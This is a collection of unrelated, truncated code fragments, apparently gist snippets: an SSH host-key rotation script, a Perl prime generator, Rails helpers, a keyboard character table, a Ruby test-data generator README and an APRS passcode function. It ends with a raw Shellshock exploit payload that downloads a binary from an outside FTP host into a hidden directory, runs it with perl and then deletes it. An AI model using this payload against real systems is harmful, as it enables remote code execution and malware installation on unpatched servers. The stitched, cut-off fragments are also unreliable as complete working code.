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#!/bin/bash

set -e

hostname
archive_dir="/etc/ssh/compromised_keys/$(date +%F)"
mkdir -p $archive_dir

mv /etc/ssh/ssh*_key $archive_dir
mv /etc/ssh/ssh*_key.pub $archive_dir

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# Generated with some ruby, some vim love, and some manual hackery:
#     #!/bin/env ruby
#     require 'mechanize'
#     page = Mechanize.new.get('http://httpstatus.es')
#     codes = body.search('.status').map do |s|
#       {
#         code: s.search('a').text.to_i,
#         name: s.search('a').first['title'],
#         description: s.search('.description').text
#       }

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#!/usr/bin/perl
#this program generates $c prime numbers starting from the number 2

use Strict;
use warnings;
use POSIX;
sub genPrimes($$){
	my($ct,$advanced) = @_;
	my ($i,$possPrime,@primes,$j);
	$ct = 1 unless $ct;

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#a quick whipped full-text search superclass to help make queries appear out of nowhere for fun and profit
# if you're reading this thinking 'why?' you are right and you should probably just replace this paradigm
# with actual logic D:

class Searchable < ActiveRecord::Base
  class << self
    @@searches_on = {}
    def searches_on *fields
      cls = self.to_s.to_sym

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Key +  [O] + [O + S]
A	å	Å
B	∫	ı
C	ç	Ç
D	∂	Î
E	´	´
F	ƒ	Ï
G	©	˝
H	˙	Ó
I	ˆ	ˆ

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# toss these two methods in your app/helpers/application_helper.rb

  #this is to be used instead of will_paginate's inbuilt view function and calls the BootstrapPaginationHelper
  def paginate *params
    params[1] = {} if params[1].nil?
    params[1][:renderer] = BootstrapPaginationHelper::LinkRenderer
    will_paginate *params
  end
  
  #this is to be used instead of form_for as a shortcut to calling BootstrapFormBuilder

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##Intro

Generator frameworks spend way too much time creating obscure and pointless DSL syntax just to make the code trendy and cute. This generator comes in the form of pure ruby, instantiates real model objects (which fire their pre-, post- and other hooks appropriately), and still allows for a simple syntax to override parameters of generated objects.

Standard Ruby syntax allows for easier adoption by new programmers and reinforces ruby paradigms, instead of breaking them down with a cute, often incomplete, and entirely superfluous DSL syntax.

Specific complaints against existing frameworks:

• Rails fixtures: definition syntax (yaml) doesn't provide a powerful enough interface to rapidly creating objects.
• FactoryGirl: Factories are evaluated at load-time, making some factories just awful to define. No further comment on DSLs.

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short passcode(const char *callsign) {
  uint8_t i, len;
  short hash = KEY;
  char no_ssid[10], *p1 = no_ssid, *ptr = no_ssid;
  
  // remove SSID
  while((*callsign != '-') && (*callsign != '\0')) *p1++ = toupper((int) (*callsign++));
  *p1 = '\0';
           
  i = 0;

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# require 'byebug'
puts "ruby -v is #{RUBY_VERSION} but should be '2.2.2'" unless RUBY_VERSION == '2.2.2'

class Hash
  def symbolize_keys
    dup = self.class.new

    each_key do |key|
      dup[ key.to_sym ] = self[key]
    end

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() { :;};
/bin/bash -c \x22mkdir /var/.udp;
wget ftp://ftp.ugotownedz.org/Xorg -O /var/.udp/Xorg;
wget ftp://ftp.ugotownedz.org/Xorg -O /var/.udp/Xorg;
curl -o /var/.udp/Xorg ftp://ftp.ugotownedz.org/Xorg;GET ftp://ftp.ugotownedz.org/Xorg;fetch ftp://ftp.ugotownedz.org/Xorg;
lwp-download ftp://ftp.ugotownedz.org/Xorg;
chmod +x /var/.udp/Xorg;
chmod +x Xorg;
perl /var/.udp/Xorg;
rm -rf /var/.udp/Xorg*;